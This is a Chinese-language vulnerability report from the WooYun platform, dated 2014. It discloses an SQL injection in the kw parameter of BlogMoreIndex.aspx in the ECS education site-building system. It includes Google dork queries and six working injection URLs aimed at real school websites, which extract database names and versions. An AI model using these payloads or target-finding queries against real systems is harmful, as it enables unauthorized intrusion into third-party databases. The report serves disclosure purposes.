漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-077699
漏洞标题：易创思(ECS)教育建站系统通用型SQL注入之二
相关厂商：上海弘育信息技术有限公司
漏洞作者： sex is not show
提交时间：2014-10-09 15:46
修复时间：2015-01-07 15:48
公开时间：2015-01-07 15:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：12
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-10-09： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-01-07： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
搜索没搜到啊~· 望没重复...
详细说明：
建站程序类型：ASPX+MSSql
漏洞类型：SQL注入
缺陷文件：BlogMoreIndex.aspx
注入参数：kw
涉及版本：全版本
危害程度：高危
涉及厂商：易创思(ECS)官方网站|上海弘育信息技术有限公司
厂商网站：http://www.ecs.cn/
安装量：非常大
是否拥有源代码分析：暂无
是否默认配置：是
关键字：inurl:NewsIndex.aspx?pkId=
google:inurl:BlogMoreIndex.aspx
影响用户：
提供几个测试例子：
实例演示：
1.
http://www.zjhzyg.net/OperationManage/BlogMoreIndex.aspx?pkId=14022&blogId=9078&kw=asd%%27%20and%201=db_name()--&st=1&t=1
2.
http://syzx.dyedu.cn/OperationManage/BlogMoreIndex.aspx?pkId=14022&blogId=318&kw=asd%%27%20and%201=@@version--&st=1&t=1
3.
http://www.qzxx.net/OperationManage/BlogMoreIndex.aspx?pkId=14022&blogId=375&kw=asd%%27%20and%201=@@version--&st=1&t=1
漏洞证明：
4.
http://www.yhsyxx.com/OperationManage/BlogMoreIndex.aspx?pkId=14022&blogId=7150&kw=asd%%27%20and%201=db_name()--&st=1&t=1
5.
http://www.tcjyjt.com/OperationManage/BlogMoreIndex.aspx?pkId=14022&blogId=5571&kw=asd%%27%20and%201=db_name()--&st=1&t=1
6.
http://www.dfzx.net/OperationManage/BlogMoreIndex.aspx?pkId=14022&blogId=3044&kw=asd%%27&st=1&t=1
修复方案：
过滤
版权声明：转载请注明来源 sex is not show@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝